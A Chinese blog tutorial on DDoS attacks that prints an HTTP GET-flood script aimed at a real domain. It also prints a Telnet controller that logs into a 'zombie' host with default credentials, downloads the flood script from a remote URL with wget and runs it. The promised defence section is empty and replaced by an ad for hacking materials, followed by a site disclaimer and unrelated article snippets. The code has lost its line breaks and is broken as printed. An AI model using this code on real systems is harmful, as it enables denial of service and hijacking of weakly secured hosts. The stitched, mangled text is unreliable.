什么是DDoS攻击?

什么是DDoS攻击?

拒绝服务(Denial-of-Service,DoS)攻击是一种针对某些服务可用性的攻击。
通过耗尽CPU、内存、带宽以及磁盘空间等系统资源,来阻止或削弱对网络、系统或应用程序的授权使用的行为。

如果攻击者采用单一主机攻击,那么这种泛洪攻击的效果会受到攻击系统上所能产生的网络流量总量的限制。而且单一的攻击系统也会使得攻击者容易被跟踪。通过使用多个主机,攻击者可以显著的扩大攻击中的数据包数量,而且多个主机中的任何一台系统都不需要很高的性能或处于很高容量的链路。DDoS 攻击是 DoS 攻击的升级,具有巨大的威胁性。

攻击者通过某些常用应用程序的漏洞来获得访问这些系统的权限,并安装自己的程序。这些被入侵的主机系统称为僵尸主机。一旦僵尸主机被安装上合适的后门程序,那么就会完全处在攻击者的控制下。攻击者控制的大量僵尸主机组合在一起就形成一个僵尸网络。DDoS攻击由此展示出真正的威力!!! 

DDoS的常见形式

传输层:SYN DDoS --> SYN DoS --> SYN Flooding

应用层:HTTP DDoS --> GET/POST DoS --> GET/POST Flooding

接下来咱们一起来看看应用层的典型DDoS攻击!!!

HTTP DDoS攻击的设计与实现

DDoS Bate 0.1版本

实验环境:
主机:kali rolling
肉鸡:ubuntu虚拟机 启动Telnet服务 安装python3
控制器程序:负责控制肉鸡 下载DoS程序
DoS程序:持续发送HTTP GET请求 消耗服务器资源

本文仅仅以网络安全实验探索的角度 在虚拟机中模拟实现DDoS攻击

 DoS程序:

#dos.py
import http.client
import timeclass Dos(object):def __init__(self):passdef httpGetFlood(self,sleepTime,servAddr,url):for i in range(2):time.sleep(sleepTime)try:conn = http.client.HTTPConnection(servAddr)conn.request('GET',url)r1 = conn.getresponse()print(r1.status,r1.reason)conn.close()except IOError as e:print("except:",e)finally:print("httpGetFlood END")def httpGetNormal(self,sleepTime,servAddr,url):for i in range(2):sleep(sleepTime)try:conn0 = http.client.HTTPConnection(servAddr)conn0.request('GET',url)r0 = conn0.getresponse()flag = 0if r0.status == 307:flag = 1conn0.close()conn1 = http.client.HTTPConnection(servAddr)url = r0.getheaders()[1][1]print(url)conn1.request('GET',url)r1 = conn1.getresponse()print(r1.status)conn1.close()if flag == 0:conn0.close()except IOError as e:print(e)finally:print("httpGetNormal END")if __name__ == '__main__':servAddr = "hackbiji.top"url = "/"sleepTime = 0.1hack = Dos()hack.httpGetFlood(sleepTime,servAddr,url)

控制器程序:

#trigger.py
import telnetlib
import time
import re
class Trigger(object):def __init__(self):passdef login(self,Host,username=b'root',passwd=b'root'):dev = telnetlib.Telnet(Host,port=23)dev.set_debuglevel(2) #Debug modedev.read_until(b'login:')dev.write(username + b'\n')dev.read_until(b'Password:')dev.write(passwd + b'\n')dev.read_until(b'$')return devdef checkIN(self,dev):fileisIN = Falsedev.write(b'ls'+b'\n')buff = dev.read_until(b'$')buff = str(buff,encoding='utf-8')matched = re.search(r'\bdos.py\b', buff, re.M)if matched:fileisIN = Truereturn fileisINdef dosDownLoad(self,dev,path):dev.write(b'cd ~' + b'\n')dev.read_until(b'$')dev.write(b'wget '+ path + b'\n')dev.read_until(b'$')def dosAction(self,dev):dev.write(b'python3 dos.py' + b'\n')dev.read_until(b'$')def signout(self,dev):telnetlib.Telnet.close(dev)if __name__ == '__main__':Host=b'192.168.59.146'username = b'gu'passwd = b'gu'path = b'https://raw.githubusercontent.com/isGt93/isGt93.github.io/source/source/_posts/%E9%BB%91%E5%AE%A2%E7%AC%94%E8%AE%B0-DDOS%E5%85%A5%E9%97%A8/dos.py'hack = Trigger()dev = hack.login(Host,username,passwd)if not hack.checkIN(dev):hack.dosDownLoad(dev,path)time.sleep(2)hack.dosAction(dev)hack.signout(dev)

HTTP DDoS攻击的防范手段

如果你也想学习:黑客&网络安全的SQL攻防
在这里领取:
这个是我花了几天几夜自整理的最新最全网安学习资料包免费共享给你们,其中包含以下东西:
1.学习路线&职业规划

在这里插入图片描述
在这里插入图片描述

2.全套体系课&入门到精通

在这里插入图片描述

3.黑客电子书&面试资料

在这里插入图片描述

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/642181.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

动态权限有哪些

定位权限: ACCESS_FINE_LOCATION:精确位置ACCESS_COARSE_LOCATION:大致位置 相机权限: CAMERA:访问摄像头 存储权限: READ_EXTERNAL_STORAGE:读取外部存储WRITE_EXTERNAL_STORAGE:…

springboot集成easypoi

easypoi,主打的功能就是容易,通过简单的配置&#xff0c;就可以方便的写出Excel导出,Excel模板导出,Excel导入,Word模板导出 pom导入依赖 <dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-star…

SpringCloud Aliba-Seata【上】-从入门到学废【7】

目录 &#x1f9c2;.Seata是什么 &#x1f32d;2.Seata术语表 &#x1f953;3.处理过程 &#x1f9c8;4.下载 &#x1f37f;5.修改相关配置 &#x1f95e;6.启动seata 1.Seata是什么 Seata是一款开源的分布式事务解决方案&#xff0c;致力于在微服务架构下提供高性能…

【C++修行之道】STL(初识pair、vector)

目录 一、pair 1.1pair的定义和结构 1.2pair的嵌套 1.3pair自带排序规则 1.4代码示例 二、vector 2.1vector的定义和特性 2.2vector的初始化 一维初始化&#xff1a; 2.3vector的常用函数 2.4vector排序去重 排序: 去重&#xff1a; 示例&#xff1a; 一、pair …

宠物空气净化器推荐哪个好?实惠的猫用猫用净化器牌子测评

作为宠物主人&#xff0c;我们深知养宠物的乐趣和责任&#xff0c;但同时也面临着一些挑战&#xff0c;比如宠物掉毛、异味和空气质量等问题。这就是为什么越来越多的家庭选择宠物空气净化器&#xff0c;为我们创造一个清新、健康的室内环境。 无论我们多么爱我们的毛茸茸伙伴…

STM32(--001) Win10、Win11 上的驱动安装说明

一、USB线插到 CMSIS-DAP 接口上&#xff0c;将自动识别到两个设备 ① CMSIS-DAP&#xff1a;用于烧录代码、在线硬件仿真; 在Keil里烧录&#xff0c;无需通过FlyMCU; ② USB转TTL&#xff1a;用于开发板与电脑间串口通信 &#xff0c;即USART1, TX-PA9、RX-PA10; 接口备注&a…

UDP和TCP代理协议有什么区别?哪个更好

在互联网的世界里&#xff0c;数据传输的方式有很多种&#xff0c;其中 UDP 和 TCP 是两种常见的传输协议。而代理协议则是为了在网络中传输数据时提供安全、稳定和高效的传输环境。那么&#xff0c;UDP 和 TCP 代理协议有什么区别呢&#xff1f;哪个更好呢&#xff1f;接下来&…

web系统服务器监控检查

一、检查操作系统是否存在增减文件&#xff0c;是否有shell被上传 要检查操作系统是否存在增减文件或是否有shell被上传&#xff0c;您可以按照以下步骤进行操作&#xff1a; 文件完整性检查&#xff1a; 使用文件系统的完整性检查工具&#xff0c;例如fsck&#xff08;对于ext…

Linux之快速入门

一、Linux目录结构 从Windows转到Linux最不习惯的是什么&#xff1a; 目录结构 Windows会分盘&#xff0c;想怎么放东西就怎么放东西&#xff0c;好处自由&#xff0c;缺点容易乱 Linux有自己的目录结构&#xff0c;不能随随便便放东西 /&#xff1a;根目录/bin:二进制文件&…

Mapbox加载浙江省天地图服务和数据处理

1. 加载影像服务 通过浙江省天地图官网申请所需服务&#xff0c;使用token获取服务数据 由于浙江省天地图使用的坐标系是 cgcs2000&#xff0c;需要使用 的框架对应为 cgcs2000/mapbox-gl&#xff0c;通过cdn引入或npm下载 影像服务地址为&#xff1a; ‘https://ditu.zjzw…

力扣hot100 环形链表 快慢指针 哈希 数学公式

Problem: 142. 环形链表 II 文章目录 思路Code 思路 &#x1f468;‍&#x1f3eb; 参考题解 Code ⏰ 时间复杂度: O ( n ) O(n) O(n) &#x1f30e; 空间复杂度: O ( 1 ) O(1) O(1) /** /*** Definition for singly-linked list.* class ListNode {* int val;* …

Vector源码

Vector源码 总结 Vector底层采用数组对元素进行存储&#xff0c;与ArrayList不同的是使用synchronized保障了线程安全&#xff0c;并且扩容机制为原容量的1.5倍&#xff0c;而数组的初始化时机是调用构造方法后&#xff0c;ArrayList是调用add方法后,由于读和写都加了锁&…

Pytorch自动求导机制

PyTorch框架可以帮我们计算好反向传播&#xff0c;需要求导的&#xff0c;可以手动定义 示例&#xff1a; #先构造一个随机的三行四列矩阵&#xff0c;两种方法都可以#方法1 x torch.randn(3,4,requires_gradTrue) x#方法2 x torch.randn(3,4) x.requires_gradTrue x #再构…

基于springboot+vue的在线文档管理系统(前后端分离)

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容&#xff1a;毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 背景和意…

鸿蒙原生应用/元服务实战-Serverless云存储创建失败

新账户&#xff0c;Serverless云存储没法创建 &#xff0c;没法进行下一步&#xff0c;有没有遇到同样问题与解决思路方式的。

首批!鸿蒙千帆起,生态全面启动

在近日举办的鸿蒙生态千帆启航仪式上&#xff0c;华为常务董事、终端BG CEO余承东表示&#xff0c;鸿蒙生态设备已经增至8亿 &#xff0c;将打开万亿产业新蓝海。 在本次论坛上&#xff0c;华为宣布HarmonyOS NEXT鸿蒙星河版&#xff08;开发者预览版&#xff09;已面向开发者…

【优先级队列 之 堆的实现】

文章目录 前言优先级队列 PriorityQueue优先队列的模拟实现 堆堆的储存方式堆的创建建堆的时间复杂度堆的插入与删除 总结 前言 优先级队列 PriorityQueue 概念&#xff1a;对列是先进先出的的数据结构&#xff0c;但有些情况&#xff0c;数据可能带有优先级&#xff0c;一般出…

Canvas-Editor 实现类似 Word 协同编辑

前言 对于word的协同编辑&#xff0c;已经构思很久了&#xff0c;但是没有找到合适的插件。今天推荐基于canvas/svg 的富文本编辑器 canvas-editor&#xff0c;能实现类似word的基础功能&#xff0c;如果后续有更好的&#xff0c;也会及时更新。 Canvas-Editor 效果图 官方文…

redis-exporter grafana面板配置

一、前言 关于使用tensuns自带的grafana监控模板&#xff0c;监控redis-exporter接口会有一些数据丢失的问题&#xff0c;需要自行修改一下grafana模板的json 二、修改模板 redis grafana模板id&#xff1a;17507 主要是针对cpu使用率和内存使用率做一个说明&#xff0c;因为…